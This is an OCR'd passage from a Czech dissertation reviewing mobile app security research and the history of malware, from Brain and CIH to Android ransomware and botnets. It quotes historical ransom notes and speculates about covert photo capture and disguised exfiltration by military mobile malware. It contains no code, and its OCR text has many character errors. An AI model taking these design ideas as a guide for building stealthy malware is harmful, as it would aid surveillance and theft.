zneuziti predstavuje vazny bezpeCnostni problém, napiiklad
DELETE PACKAGES, BLUETOOTH, BLUETOOTH ADMIN!).

Zéavazna jsou zejména zjisténi, Ze predinstalované aplikace na ROM mobilnich
zatizeni Xiaomi Hongmi phone a Lenovo K860i obsahovaly takto nebezpecné
zranitelnosti. Nebot’ tyto aplikace nema uzivatel pravo odinstalovat.

V oblasti bezpecnosti mobilnich aplikaci vySel vroce 2015 ¢lanek
Vulnerability Assessment of OAuth Implementations in Android Applications
[24], ktery se zabyval zranitelnostmi, které mohou vzniknout v disledku
nespravné implementace OAuth protokolu v mobilnich aplikacich. OAuth je
velmi roz§ifeny protokol, ktery se pouziva pro autorizaci aplikaci tietich stran v
HTTP sluzbach, jako jsou napfiklad Facebook, Twitter, Google a dalsi.
V disledku specificnosti  mobilni platformy (jsou popsana v kapitole
»Bezpecnostni specifika soucasné mobilni platformy*) se implementace OAuth
v Android aplikacich 1i8i od doporucenych postupli definovanych v ptislusnych
RFC (Request for Comments). Proto autofi Hui Wang, Yuanyuan Zhang, Juanru
Li, Hui Liu, Wenbo Yang, Bodong Li a Dawu Gu vytvofili framework nazvany
AuthDroid. Framework se systematickym zplisobem snazi hodnotit zranitelnosti
vzniklé v disledku chybné implementace OAuth. Pomoci AuthDroid byly
vysetfeny aplikace, které jsou nabizeny v Cing prostiednictvim obchodi a sluZeb,
jako jsou naptiklad Baidu App Store, Tencent ¢i Anzhi. Vyzkum zahrnoval 4151
aplikaci, u kterych zjist'oval, jak Casto vyvojaii chybné pouZivaji protokol OAuth.
Zjisténé vysledky odhalily, ze 86,2 % Android aplikaci pouzivajici OAuth je
zranitelnych v disledku chybné implementace. O rok diive se podobnym
problémem u aplikaci publikovanych prostfednictvim Google Play zabyvali Eric
Y Chen, Yutong Pei, Shuo Chen, Yuan Tian, Robert Kotcher a Patrick Tague
[25]. V Elanku OAuth Demystied for Mobile Application Developers publikovali
zjiSténi, Ze chyby souvisejici s OAuth se vyskytovaly u 58,8 % testovanych
aplikaci. Z vysledkt publikovanych v obou ¢lancich vyplyva, Ze zranitelnosti
spojene chybami v OAuth jsou mnohem ¢asté&j$i u mobilnich aplikaci nabizenych
v Ciné.

V roce 2016 napsali autoii Yacouba Kouraogo, Karim Zkik a El Janati El
Idrissi Noreddine zajimavy ¢lanek sndzvem Attacks on Android Banking
Applications [26], ve kterém se zaméfili na zkouméani bezpe€nosti mobilnich
bankovnich aplikaci. Aby autofi ukazali mozna bezpecnostni rizika, provedli
reverse engineering bankovni aplikace béZici pod operacnim systémem Android.

! Poznamka: pomoci opravnéni BLUETOOTH, BLUETOOTH ADMIN se snazi napadené
mobilni zarizeni infikovat zarizeni ve své bezprostiedni blizkosti (Bluetooth je zneuzit jako
Attack Vector).
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Staticka analyza zdrojového kodu odhalila bezpecnostni slabiny a na jejich
zékladée byl do bankovni aplikace vloZen Skodlivy kod. Nasledné autoti provedli
DDoS? (Distributed Denial of Service) iitok na simulovany bankovni server (neslo
o skute¢ny bankovni server). Clanek vyvolava celou fadu otazek, které by mély
byt feSeny analytiky zabyvajici se otazkami bezpeCnosti mobilnich aplikaci.
Naptiklad jak se vyhnout situacim, kdy je adresa aplikacniho severu piimo
soucasti zdrojoveho kodu aplikace apod.

Soucasné mobilni operacni systémy, predev§Sim operacni systém Android,
Casto neposkytuji adekvatni nastroje, pomoci kterych by uZivatelé mohli
kontrolovat a ur€ovat, jakym zplsobem aplikace tretich stran nakladaji s jejich
soukromymi daty. Autofi Rui Hou, Zhigang Jin a Baoliang Wang zareagovali na
uvedeny trend v ¢lanku nazvaném Investigation of taint analysis for Smartphone-
implicit taint detection and privacy leakage detection [27]. Pro Ucely vyzkumu
navrhli automatizovany detek¢ni systém nazvany TaintChaser. Systém dokaze
odhalit nejen uniky uzivatelskych dat, ale také automaticky analyzovat a testovat
aplikace béZicich pod operacnim systémem Android. V ramci vyzkumu bylo za
pouziti nastroje TaintChaser zanalyzovano 38 268 populdrnich Android aplikaci.
Zjisténé vysledky odhalily, ze 34,41 % ztestovanych aplikaci mlZe narusSit
soukromi uZivatele.

Vysledky vsech vySe uvedenych ¢lankli naznacuji pottebu bezpecnostniho
vyzkumu v oblasti mobilnich aplikaci. Z publikovanych dat rovnéz vyplyva, Ze
by se mél vyzkum zejména zaméftit na bezpecnost mobilnich aplikaci béZicich
pod operacnim systémem Android. Uvedena problematika je v dizertacni praci
popsana v kapitole 4 - Bezpec¢nost mobilnich aplikaci.

2.2 Aktualni stav v oblasti malwaru

Problematika malwaru vzdy piedstavovala velmi specifickou oblast
kybernetické bezpecnosti. Jednim z jejich typickych rysi je nedostatek
podrobnych, systematicky zpracovanych informaci. Malware za svoji témér
padesatiletou historii® prosel celou fadou vyvojovych fazi.

2 DoS (Denial of Service, cesky odepreni sluzby) je iitok sluzby poskytované servery. Utok
probihd pomoci opakovaného zasilani pozadavkii/dotazii v takové intenzite, Ze dojde k pretizeni
daného serveru. Proti DoS ma v dnesni dobé vétsina serverii zabudovanou ochranu. Proto se
pouziva takika vyhradné DDoS, kdy se misto jednoho ci nekolika malo infikovanych zarizeni
generujici velké mnozstvi pozadavkit pouziva mnoho infikovanych zarizeni generujici jen maly
sitovy provoz smerem k napadenému serveru. Pro cilovy server je pak velmi tezké poznat, zda

se jedna o legitimni poZadavek/dotaz ¢i nikoliv.

3V otdzce prvniho malwaru neni odborna literatura jednotnd. Nejcastéji se uvadi, Ze
predzvesti malwaru byl Creeper (nékdy taky nazyvany Creeper Worm), ktery vznikl
pravdepodobné jiz v roce 1970. Creeper byl experimentadlni software, ktery se umeél sam
replikovat (94).
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V ranych obdobich vyvoje malwaru na platformé osobnich pocitacii se tvorbou
Skodlivého software zabyvali predevsim jednotlivcei z fad nadSencl do vypocetni
techniky. Naptiklad v roce 1986 dva pakistansti bratii Basit Farooq Alvi a Amjad
Farooq Alvi analyzovali spoustéci sektor disket (tzv. boot sector, ktery je umistén
na zacatku meédia). VSimli si, Ze ve spoustécim sektoru jsou obsaZeny programove
instrukce, které pocita¢ vykonava pti svém startu. Jejich virus nazvany Brain nebo
také (c)Brain (podle nazvu obchodu ndazvem Brain Computer Services, ktery
provozovali) prepisoval instrukce ve spoustécim sektoru diskety. Slo o
nedestruktivni virus, ktery nemazal soubory uzivatelll, pouze se §itil z pocCitace na
pocitac [28]. UZivateliim se rovnéz zobrazoval nasledujici text:

Welcome to the Dungeon

(c) 1986 Basit & Amjad (pvt) Ltd.
BRAIN COMPUTER SERVICES

730 NIZAB BLOCK ALLAMA IQBAL TOWN
LAHORE -PAKISTAN

PHONE :430791,443248,280530.
Beware of this VIRUS....
Contact us for vaccination............

$#0%$@! !

Kontakty, které jsou ve vySe uvedeném textu, byly skutecné, coz je u dnesniho
malwaru nemyslitelné. Dalsi malware, ktery mél nedestruktivni charakter, je
napiiklad AT&T VIRUS, ktery nedé€lal nic jiného, nez Ze kazdé tfi minuty
uzivatelim oznamoval, jaké ,,skvéle sluzby se jim dostava [29]. Nedestruktivni
malware byl brzy nahrazen malwarem, ktery byl skute¢n¢ nebezpecny a plisobil
velké Skody.

Typickym piikladem je malware CIH, téZ zvany Chernobyl, ktery vytvoril
Chen Ing-hau (ndzev CIH pochazi z pocatecnich pismen jména autora). Prvni
vyskyt CIH byl zaznamenan v roce 1998 na Taiwanu. Malware ziistaval trvale
v paméti a infikoval vSechny dalsi *.exe soubory, které byly spustény. Chernobyl
m¢l payload (Skodlivd cast softwaru, kterou lze nalézt v datech
malware/aplikace), ktery se poprvé spustil 26 dubna 1999 (vyro&i Cernobylské
havarie). Payload nicil soubory, které nasel na napadeném pocitaci [30]. Podle
zpravy vydané vladou Jizni Korey zpiisobil malware Skody za 250 milionii dolari.
CIH se vyskytoval v n¢kolika variantach, z nich ta nejnicivéjsi se snazila prepsat
BIOS ¢ip (tzv. flash/flashovani BIOSu) na zakladni desce napadené¢ho pocitace.
Bylo-li ptepsani BIOS cCipu uspésné, pocita¢ nebylo mozné spustit. V lepSim
ptipadé pak bylo mozné provést vyménu BIOS cipu (pokud byl €ip na desce
umistén v patici), v horS§im ptipad¢ (pokud byl Cip soucasti desky) bylo nutné
vymenit celou zékladni desku [31], [32].

23



Dalsi vyznamny milnik ve vyvoji Skodlivého software predstavuje vojensky
malware. V roce 2012 vySel ve Washington Post ¢lanek s nazvem ”Stuxnet was
work of U.S. and Israeli experts, officials say”. Autofi Ellen Nakashima a Joby
Warrick pracovali s ovéfenymi zdroji a ptinesli dillezité¢ odhaleni: ”A damaging
cyber-attack against Iran’s nuclear program was the work of U.S. and Israeli
experts and proceeded under the secret orders of President Obama, who was eager
to slow that nation’s apparent progress toward building an atomic bomb without
launching a traditional military attack, say current and former U.S. officials” [33].
Stuxnet predstavuje zcela novy ptistup k tvorb€ i pouzivani malware. Uvedeny
typ Skodlivého software je vyvijen tymy S$pickovych vojenskych
a zpravodajskych odbornikli pod dohledem vlad. Takto vytvofeny malware se
pouziva jako zbran, kterd dokdze byt v mnoha piipadech vyhodnéjsi nez
konven¢ni vojenské feSeni. Pouzitim vojenského malwaru se zabrani ztratdm na
lidskych zivotech, je levnéjsi nez tradini vojenske taZeni, piesto mize zplsobit
znacné Skody. Napiiklad Stuxnet zniCil téméf tisic Iranskych centrifug (stroj na
obohacovani uranu, nutny k vyrob& atomové bomby). V souc¢asné dob€ ma témet
kazdd moderni armada jednotku, kterd se zabyva elektronickym val¢enim
(electronic warfare nebo také electronic cyber-warfare), jehoZ soucasti je 1 vyvoj
vojenského malware. Napiiklad arméda Spojenych stati americkych ma
U.S. Army Cyber Command (ARCYBER), Izrael ma Unit 8200, coz je vojenska
jednotka spadajici pod Israeli Intelligence Corps (Izraelsky zpravodajsky sbor).
Vojenské jednoty vedeni elektronického boje maji 1 staty, kterou jsou spravovany
nedemokratickymi rezimy. Korejska lidova armada (Severni Korea) ma Bureau
121, jednotka PLA Unit 61398 spada pod Cinskou lidovou osvobozeneckou
armadu. Malware, ktery je vytvafen vySe uvedenymi jednotkami, podléha
pfisnému utajeni, ma vysokou kvalitu a ¢asto zneuzZiva zero-day vulnerability
(Jedna se o zdvaznou zranitelnost napt. v operacnim systému, kterd neni vefejné
znama, respektive je zndméa 0 dni [34]). Ztoho plyne, Ze pro jednotlive
bezpecnostni analytiky, organizace, ale 1 antivirove spole€nosti je velmi tézké, ne-
li nemozné takove hrozby v€as detekovat nebo jim dokonce predchazet. Prestoze
zatim neni oficidlné potvrzen zadny vyskyt vojenského malwaru na mobilni
platformé, bylo by chybou se domnivat, Ze takovy Skodlivy software neexistuje
nebo, Ze neni v soucasné dobé piipravovan. Jiz od roku 2013 existuji jisté
naznaky, Ze se vojenské a zpravodajské slozky zaaly zajimat o mobilni
platformu.

Na zakladé utajovanych dokumentl, kter¢ poskytl Edward Snowden
novindiim Guardian, provedli Guardian, New York Times a ProPublica spolecn¢
vySetfovani, které odhalilo aktivity National Security Agency (NSA) - Narodni
Bezpecnostni Agentury, které cilily na mobilni platformu. NSA je vladni
organizace, jejiz pusobnost spadd pod Ministerstvo obrany Spojenych statl
americkych [35] a GCHQ (Government Communications Headquarters - Vladni
Komunika&ni Ustiedi, britsky ekvivalent NSA, spadajici pod ministra zahraniéi.
Obé organizace se snazily ziskavat citlivé osobni informace z chytrych mobilnich
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telefonil. K tomuto ucelu vyuzivali 1 popularni hru Angry Birds: “The National
Security Agency and its UK counterpart GCHQ have been developing capabilities
to take advantage of "leaky" smartphone apps, such as the wildly popular Angry
Birds game, that transmit users' private information across the internet, according
to top secret documents” [36].

Z reSerSni analyzy a vlastnich vyzkumu, které byly provedeny v ramci
dizertacni prace, se zda byt pravdépodobné, Ze pro vojensky malware na mobilni
platform¢é budou vyuZity technologie zaloZzené na strojovém uceni (machine
learning). Vzhledem k tomu, Ze chytré mobilni telefony jsou dnes bézné vybaveny
pfednim a zadnim fotoapardtem je velmi pravdépodobné, Ze budou vyuzZity
k potizovani fotografii pro zpravodajské/vojenské ucely. Fotografie a néasledne
zpracovani obrazu se bude pochopitelné dit bez védomi uZivatelh mobilniho
zatizeni. Rovnéz je pravdépodobné, ze bude dochéazet k pfedb&Znému zpracovani
potizenych fotografii pfimo na chytrych telefonech, které budou napadeny
vojenskym malwarem. PtedbéZné zpracovani obrazu je nutné, nebot’ posilani
velkého mnozZstvi nezpracovanych dat na centralizovana uloZzist¢ by mohlo vést
ke kompromitaci daného malware. Jednim z moZnych scénaili je proto provést
prvotni zpracovani fotografii pomoci metod hlubokého uceni (Deep Learning),
nebot’ ty odstraiiuji A-PIE problém (Ageing, Pose, Illumination, Emotions)
a teprve peclivé oddélené zajmové fotografie posilat Sifrované na specializovana
ulozisté¢ (nepljde o samostatné datoveé toky, ale budou vhodné maskovéany
legitimni aktivitou uZivatele — jedno z moZnych feSeni je popsano v kapitole 5).

Dal§i vyznamnou oblasti je malware, ktery je spojen s organizovanym
zloCinem. Tento malware souvisi s trendem poslednich let, kterym je pfesun
kriminality z readlného svéta do kybernetického prostoru. Pfechodu kriminality do
kybernetického prostoru vyrazné napomaha Bitcoin, decentralizovana digitilni
meéna. Platby provadéné pomoci Bitcoin Mixing Service (naptiklad CoinMixer)
zarucuji anonymitu Ucastnikil transakci. Transformace ¢innosti organizovaného
zlo¢inu je dobfe vidét na problematice vykupného. Ta se do devadesatych let
minulého stoleti provadéla vyhradné fyzicky, pachdnim Gnosii osob, ale i cennych
zvitat, jako jsou dostihové koné apod.

Prvnim zdokumentovany ptipad ransomware (malware poZadujici vykupné,
nazev vznikl spojenim slov ransom - vykupné a software) pochazi z roku 1989.
Jmenoval se AIDS a jednalo se o trojského koné&?, jehoz $kodliva ¢innosti méla
podobu ransomware. AIDS fungoval tak, Ze poté, co byl pocita¢ infikovan,
umoznil uzivateli jeSté¢ devadesat béznych spusténi. Nasledné malware skryl
vSechny adresafte a Sifroval nebo zamknul jména vSech soubori. Pak ransomware
AIDS pozZzadoval, aby uZzivatel napadené¢ho pocitace zaplatil spole¢nosti PC
Cyborg Corporation sidlici v Panamé sto osmdesat devét dolarii [165].

4 Trojsky ki je typ Skodlivého softwaru, ktery predstira, Ze d&la néco uzite¢ného a Sasto i néco prospésného
¢i zabavného skute¢né déla. Mize se napriklad jednat o hru ¢i o komprimovaci program, ktery ale obsahuje i

skrytou ¢ast, jez provadi Skodlivou ¢innost.
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Dalsim ptikladem ransomware je trojsky kan s ndzvem Gpcode, ktery provedl
sken vSech diskil pfipojenych k napadenému pocitaci. Jakmile Gpcode naSel
adresat obsahujici *.xlIs, *.doc, *.txt, *.rtf, *.zip, *.rar a nckteré dalsi typy
soubortl, zasifroval je a do stejného adresare ulozil soubor ATTENTION!!!.TXT
s timto obsahem:

Some files are coded.
To buy decoder mail: n781567@yahoo.com

with subject: PGPcoder 000000000032

Jakmile trojsky kin dokoncil Sifrovani vSech cilovych soubord, ukoncil se
a provedl uklid (smazal svlij spustitelny soubor, odstranil pomocné soubory,
smazal polozku registru opera¢niho systému Windows, pomoci které se spoustél
automaticky po startu systému [37]).
Nejnov¢jsi fazi vyvoje malwaru predstavuje mobilni malware, ktery souvisi
s masovym rozSifenim chytrych telefonil a tableti v poslednich deseti letech.
Za kli¢ove okamziky, které vyznamné piispély k rozsiteni tohoto typu mobilnich
zatizeni, se obvykle povazuji 1éta 2007 a 2008. V roce 2007 byl spole¢nosti Apple
Inc. predstaven prvni telefon s opera¢nim syst¢émem iOS [38]. O rok pozdé&ji
spolecnost Google LLC vydala prvni verzi opera¢niho systému Android [39].
Od roku 2008 se postupné zacina zvySovat pocet chytrych mobilnich zatfizeni.
Dulezita je skladba uZzivatelll chytrych mobilnich zatizeni. Pred rokem 2008 Slo
pfevazné o IT specialisty, ktefi mobilni zatizeni pouzivali jako néstroje pro
administraci vzdalenych systéemu v dobé&, kdy neméli ptistup k plnohodnotnému
pocitai. Jednalo se napiiklad o spravce serverli ¢i serverovych farem, ktefi
vyuzivali mobilni aplikace s SSH (Secure Shell) protokolem na cestach. Po roce
2008 se mobilni zatizeni postupné dostavaji mezi bézné uzivatele. Podle zpravy,
kterou vydalo Ministerstvo vnitini bezpecnosti Spojenych statl americkych a FBI
,»Roll call release for police, fire, ems, and security personnel* [40], se operacni
systém Android stal primarnim cilem utokii mobilniho malwaru. Z tohoto diivodu
byla ¢ast vyzkumu, ktera se zabyvala mobilnim malwarem, zaméfena na tento
operacni systém. Zprava dale uvadi, Ze se situace v oblasti mobilniho malwaru
stala netinosnou jiz v roce 2013. Popisovany stav je zptisoben celou fadou faktori:
e Operacni systtm Android mél mezi lety 2008 az 2017 patnact hlavnich
verzi a dvacet sedm verzi API. Zivelny rozvoj operaénich systémi
a pridavani novych funkci sice na jednu stranu zvySuje uZivatelskou
1 vyvojaiskou ptivétivost, ale na druhou otevira prostor pro bezpe€nostni
chyby. ProtoZe rychly vyvojovy cyklus, kdy je vydavana nova verze
opera¢niho syst¢tmu v praméru kazdych osm mésicli, neumozZiuje
robustni bezpe¢nostni testovani. Piiklad mize byt Android Mediaserver
[41], ktery umoziiuje aplikacim lépe spravovat multimedialni obsah, ale
zaroven vystavuje mobilni zafizeni rizikim, jako jsou Elevation of
Privilege Vulnerability in Mediaserver (CVE-2016-2448, CVE-2016-
2449, CVE-2016-2450, CVE-2016-2451, CVE-2016-2452) [42] nebo
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Remote Code Execution Vulnerability in Mediaserver (CVE-2016-2428,
CVE-2016-2429) [42].

Attack Vector: na rozdil od osobnich pocitacli mobilni zatizeni maji vEtsi
Attack Vector zahrnujici sluzby mobilnich siti (SMS, MMS), internetové
pfipojeni  (technologie celularnich siti: GPRS/EDGE/3G/LTE,
technologie Wi-Fi), bluetooth a pfipojeni pomoci USB - napiiklad
zneuZiti vyvojarského nastroje ADB (Android Debug Bridge je néstroj
urceny pro prostiedi ptikazového interpreta, ktery umoziuje komunikaci
s mobilnimi zafizenimi béZici pod operacnim systémem Android) [43].
Architektura opera¢niho systému se liSi od architektury OS na osobnich
pocitacich, nebot mimo jiné umozZiuje tzv. Sandboxing aplikaci.
Application Sandbox zajiStuje, Ze vSechny mobilni aplikace, tedy
1 antivirové programy, maji vykonavani svého kodu i1 sva data oddélena
od ostatnich aplikaci a prostiedkil operacniho systému. To znamena, Ze
mobilni antivirové programy maji v mobilnich zafizenich omezené
detekcnich schopnosti postaveno na signaturach (Signature Based
Detection).

Pro tviirce mobilniho malwaru je dilezité psat Skodlivy software, ktery
bude mit co nejvice potencidlnich obéti. Nejvétsi mnozstvi mobilniho
malwaru existuje pro operacni systtm Android, nebot’ ma od prvniho
ctvrtleti roku 2011 dominantni pozici na trhu mobilnich operacnich
systemu. Na obrazku 2.5 je vidét, Ze se situace od roku 2011 nezménila,
Android je stidle nejpouzivan€j$i mobilnim operacnim systémem.
Obrazek 2.6 ukazuje, Ze operacni systém Android mé¢l ve druhém
ctvrtleti roku 2017 podil na trhu, ktery Cinil 87,7 %. To mé za nésledek,
ze existuje velké mnoZstvi mobilniho malwaru pouze ve verzi pro
operacni systém Android (neexistuji verze malwaru pro 10S a pro dalsi
mobilni operaéni systémy). Rozsifenost operacniho systému Android je
dana tim, Ze je na rozdil od jinych systémli Open Source. Vyrobci
hardwaru mohou operac¢ni systém Android zdarma libovolné upravovat
zatizeni, ktera nesplni certifikaci, mohou pouZivat operacni systém
Android, ovSem bez piistupu k softwarové distribucni platformé Google
Play, ktera je ptistupna pouze pro certifikovana mobilni zatizeni [45].
Jak bylo popsano v kapitole 2.1 Aktuélni stav v oblasti bezpe€nosti
mobilnich aplikaci: Operacni systém Android a jeho distribucni
platforma Google Play klade na tviirce mobilniho software mnohem
méné restrikci a omezeni nez 10S a Apple Store. V praxi to znamena, ze
je snazsi vytvofit a distribuovat mobilni malware béZici pod operacnim
systtmem Android.
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Obr. 2.5: Podil mobilnich operacnich systémii v letech 2009 az 2017[46]
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Obr. 2.6: Procentudalni podil mobilnich operacnich systémiu ve druhém ctvrtleti roku
2017 [46]

Vyvoj malwaru je na mobilni platformé& rychlejsi neZ na platformé osobnich
pocitaci. Je to dano tim, Ze jednotlivé typy malwaru a jejich principy neni potieba
pro mobilni platformu znovu vymyslet. Stai je pouze upravit tak, aby
respektovala specifika mobilnich zatizeni [47]. Dnes vSechny typy malwaru
znamé z osobnich pocitaci jiz existuji 1 na mobilni platformé. Navic piibyly zcela
noveé techniky, které jsou specifické pouze pro mobilni platformu. Naptiklad
fizeni botnetu prostfednictvim SMS zprav [48]. V oblasti mobilniho malwaru
piedstavuji nejvétsi nebezpedi pravé zminéné botnety” [49], [50], [51].

3 Botnet je sit tvorena infikovanymi mobilnimi zaiizenimi (tzv. boti nebo také zombie), kterd
lze vzddlene oviddat, napriklad pomoci C&C (Command-and-Control) serveru.

vevr

Clovek, ktery ovidda botnet se nazyva botmaster.
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Z toho divodu se dizertatni prace ve zvySené mife zabyva vyzkumem
mobilnich botnet. Jejich zkoumani odhalilo celou fadu unikatnich, dosud
nepublikovanych Gtoénych mechanismil a z nich plynoucich zranitelnosti, kterée
byly pouzity pro ndvrh mechanismu detekce mobilniho malwaru pomoci
neuronovych siti.

Z vyse uvedenych diivodl je jasné, Ze vazné bezpecnostni incidenty na sebe
nedaly dlouho &ekat, objevily se jiz v roce 2012:

e Varianta Zitmo Botnetu jménem Eurograbber napadla mobilni zatizeni

a odcizila 47 milionil dolard [52].
e Dalsi ztratu v tadech miliont dolarti Cinskému bankovnimu sektoru
zpusobil Android.Bmaster [53].

Vyznamnym aspektem, ktery zhorSuje bezpecnostni situaci na poli mobilniho
malwaru, je pfistup samotnych uzivateli k instalaci mobilniho softwaru.
Z vysledkt publikovanych v [39] vyplyva, Ze uzivatelé davaji jednoznacné
pfednost funkcionalité¢ pfed bezpecnosti. To se projevuje napiiklad tim, Ze
nevénuji adekvatni pozornost instalaCnimu procesu a soustiedi se pouze
na funkcionalitu poskytovanou aplikaci. Pfitom instalaéni proces mnohdy
poskytuje dostatecné informace k odhaleni aplikace, ktera vykazuje Skodlivé rysy
chovani nebo byla infikovana. UzZivatelé také vystavuji své mobilni zafizeni
neimérnému riziku tim, Ze instaluji aplikace z rizikovych zdrojt, jako jsou: file
share servery, torrenty nebo z hypertextovych odkazi na APK balicky. Jako
piiklad mize poslouzit cerv zndmy jako Android.Samsapo nebo také
Android/Samsapo.A. Cerv (anglicky Worm) je druh malwaru, ktery je definovan
dvéma vlastnostmi. Prvni z nich je schopnost samostatného/automatického Sifeni
z napadeného zafizeni smérem k dalSim, zatim nenapadenym zafizenim. Druhou
kli¢ovou vlastnosti je pfenaSeni payloadu, ktery provadi Skodlivou ¢innost piimo
v napadeném zatizeni. Android/Samsapo.A poté, co Uspeésné infikuje mobilni
zatizeni, poSle vSem kontaktlim, které¢ v napadeném zatizeni najde, SMS zpravu
s ruskym textem ,,Je toto tvoje fotografie?* a URL adresou, na které¢ je infikovany
APK balicek. Android/Samsapo.A miize na napadeném zaiizeni provadét celou
fadu Skodlivych CcCinnosti. Android/Samsapo.A ma zabudované funkce
Spionazniho software (tzv. Spyware). MliZze nahravat na vzdaleny server (patfici
tvlirci malware) citlivé osobni informace, jako jsou ¢isla z telefonniho seznamu
uZzivatele a obsah textovych zprav. Rovnéz obsahuje funkcionalitu SMS trojského
kong, kterd mu umoZznuje zneuzivat sluzeb telefonnich Cisel, pro které jsou
uplatnény vySSi neZ bézné ceny [54]. Android/Samsapo.A ma funkci
downloaderu, pomoci kter¢ho si mulze stahovat dalSi Skodlivé soubory
do infikovaného mobilniho zatizeni a rozSifovat tak svoji funkcionalitu [55], [56].

Jak bylo popsano vySe, organizovany zlocin Casto pouziva ransomware pro
pachani kybernetické kriminality. V roce 2017 se na mobilni platform¢ dokonce
objevil zcela novy typ ransomware takzvany DoubleLocker (nékdy téz
oznacovany jako Android/DoubleLocker.A), ktery napadal mobilni zatizeni
s operacnim systémem Android. Jako zaklad pro vyvoj DoubleLockera poslouzil
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bankovni trojsky kin jménem Android.BankBot.211.origin. Na rozdil od n¢j se
nezaméioval na sbér prihlasovacich udajii do internetového bankovnictvi, ale
rozvijel vlastni strategii Skodlivé ¢innosti. Ransomware DoubleLocker mél dvé
urovng. V prvni zménil PIN zafizeni (tzv. Screen Lock, nejednd se tedy o PIN
chranici SIM kartu), ¢imz znemoznil uZivatelim pfistup a pouzivani napadeného
zafizeni. V druh¢ Grovni utoku zasSifroval data, ktera se nachazela na infikovaném
chytrém telefonu. DoubleLocker poZadoval vykupné ve vysi 0,0130 Bitcoinu.
V té dobé to odpovidalo zhruba padesati ¢tyfem dolariim [57].

Z vsech vySe uvedenych skutecnosti vyplyva, ze rozsahly systematicky vedeny
vyzkum, ktery se zabyva mobilnim malwarem probihad na komercni (antivirové
spole¢nosti), kriminalni (zlo¢inecké organizace zabyvajici se vyvojem malware),
nebo vojenské bazi. Ani jedna skupina nema zajem zjiSténé poznatky zptistupnit
Siroké odborné vetejnosti. Proto je stejné jako v ptipadé bezpecnosti mobilnich
aplikaci potfeba vychazet i z jinych informacnich zdrojl, nez je tradi¢ni odborna
literatura. Jednim z hlavnich zdroji jsou databaze zranitelnosti, viz oddil 2.1. Je
dalezité zminit skuteCnost, ze databdze zranitelnosti jsou kromé odborniki
snazicich se o zvySeni bezpecnosti, také vyuzivany tviirci mobilniho malwaru. Ti
v databdzich zranitelnosti hledaji chyby, které by mohli zneuZit pro vyvoj
malwaru. Tvircim mobilniho malwaru velmi poméha i skutecnost, Ze spole¢nosti
zabyvajici se vyvojem mobilnich opera¢nich systémi neopravuji nékteré zjisténé
zavazné bezpec€nostni chyby ve starSich verzich svého systému. A to 1 bez ohledu
na skutecnost, Ze danou verzi operacniho systémi pouziva velké mnoZstvi
zatizeni nebo Ze obsahuje zavazné chyby. Piikladem miiZze byt situace z roku
2015, kdy spolecnost Google LLC ptestala vydavat bezpecnostni updaty pro
Android verze 4.3 a starsi, které v t€ dobé béZely téméf na miliardé mobilnich
zafizeni:

“Others, like Google and Apple, have pursued tighter timelines for security
updates. Google is now doubling down on that schedule, refusing to patch bugs
in Android 4.3 or prior, even when those bugs could expose critical vulnerabilities
on nearly a billion devices” [58].

Na zranitelnosti CVE-2017-13177 si ukdZeme, jak s Vulnerability Databases
pracuji tviirci mobilniho malware. Zranitelnost CVE-2017-13177 je v databazi
National Vulnerability Database popsana takto:

,Current Description

In several functions of libhevc, NEON registers are not preserved. This could
lead to remote code execution as a privileged process with no additional execution
privileges needed. User interaction is not needed for exploitation. Product:
Android. Versions: 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1. Android ID: A-
68320413 [59].

Pro tviirce mobilniho malwaru ma zranitelnost CVE-2017-13177 hned nékolik
vyhodnych aspekti. Prvnim z nich je skuteCnost, Ze ke zneuziti této zranitelnosti
neni potieba interakce s uzivatelem. Neopatrny uZivatel si ¢asto svym chovanim
zajisti Uspésné Sifeni nebo Cinnost mobilniho malwaru. Ale na druhou stranu
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lidské interakce ptredstavuje nejslabsi misto, které Casto vede ke kompromitaci
malwaru béhem bezpecnostnich analyz. Dalsi stejné dilezitou skutecnosti je
moznost vyvolat vzdalené spousténi Skodlivého kodu jako privilegovaného
procesu a to bez dodateCnych opravnéni, které by pro tuto cinnost byly
za normalnich okolnosti potfebne. A v neposledni fad¢ je pro tvirce dileziteé, Ze
se zranitelnost CVE-2017-13177 vyskytuje v opera¢nich systémech od verze
5.1.1 aZ po verzi 8.1, protoZe psat malware, ktery miize zasahnout jen omezenou
skupinu potencialnich cili je plytvani zdroji.

Problematikou malwaru na mobilni platform& kromé¢ databdzi zranitelnosti
textu.

Kniha Application Security for the Android Platform [16], kter4 byla popséana
v oddile 2.1, je dualezitd 1 pro stav poznani v oblasti mobilniho malware.
V kapitole The Current State of Mobile Application Security on Android
informuje o zavaznosti bezpeCnostni situace na mobilni platformé. Uvadi
vysledky analyz provedenych v roce 2011, ze kterych vyplyva, ze na oficidlnim
Android Market (distribu¢ni platforma aplikaci pro OS Android, dnes se jmenuje
Google Play) se bézn¢ vyskytuje malware, ktery je zakomponovan do aplikaci:

“Tricking the user into installing the app by posing as a useful tool or game, the
software then steals data from the phone and sends it out to unknown people with
unknown motivations. Some examples of malicious Android apps, discovered and
removed from the Market, are:

Super Guitar Solo,

Photo Editor,

Advanced Currency Converter,
Spider Man,

Hot Sexy Videos [16].”

Dalsi vyznamnou knihou je titul Hacking Android [60], ktery vySel v roce 2016
v nakladatelstvi Packt Publishing. V knize je jedna kapitola vénovana
problematice mobilniho malware, kterd ma rozsah Ctyficet stran. Autofi Srinivasa
Rao Kotipalli a Mohammed Imran ukazuji prakticky ptiklad, jak napsat
jednoduchy malware. RovnéZ je zde popséana problematika opravnéni ve vztahu
k malwaru. Déle jsou ukdzany metody statické a dynamické analyzy malwaru.
Zaver kapitoly je vénovan nastrojlim automatizované analyzy malwaru.

V Cervnu roku 2016 vysla kniha s nazvem Mobile Device Exploitation
Cookbook [61], kterou napsali Prashant Verma a Akshay Dixit. Kniha obsahuje
kapitolu Mobile Malware-Based Attacks, ktera na tficeti sedmi stranich popisuje
techniky analyzy vzork malwaru béZici pod operacnim systémem Android. Déle
popisuje krok za krokem tvorbu malwaru, a to v€etné ukazek zdrojovych kodu.
V kapitole je rovnéz ukazka techniky obejiti opravnéni (tzv. Permission Bypass),
pomoci které malware ziska obsah textového souboru, aniz by mél pravo k jeho
Cteni. V zavéru kapitoly jsou popsany zéklady reverzniho inZenyrstvi a analyza
malwaru v prostiedi 10S.
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Poznatky popsané ve vySe uvedenych knihach piedstavuji dobry vstup
do problematiky mobilniho malware, nicméné maji jistd omezeni. Fakt, Ze
mobilnimu malwaru je v knthach vénovéna vZdy jen jedna kapitola, naznacuje, Ze
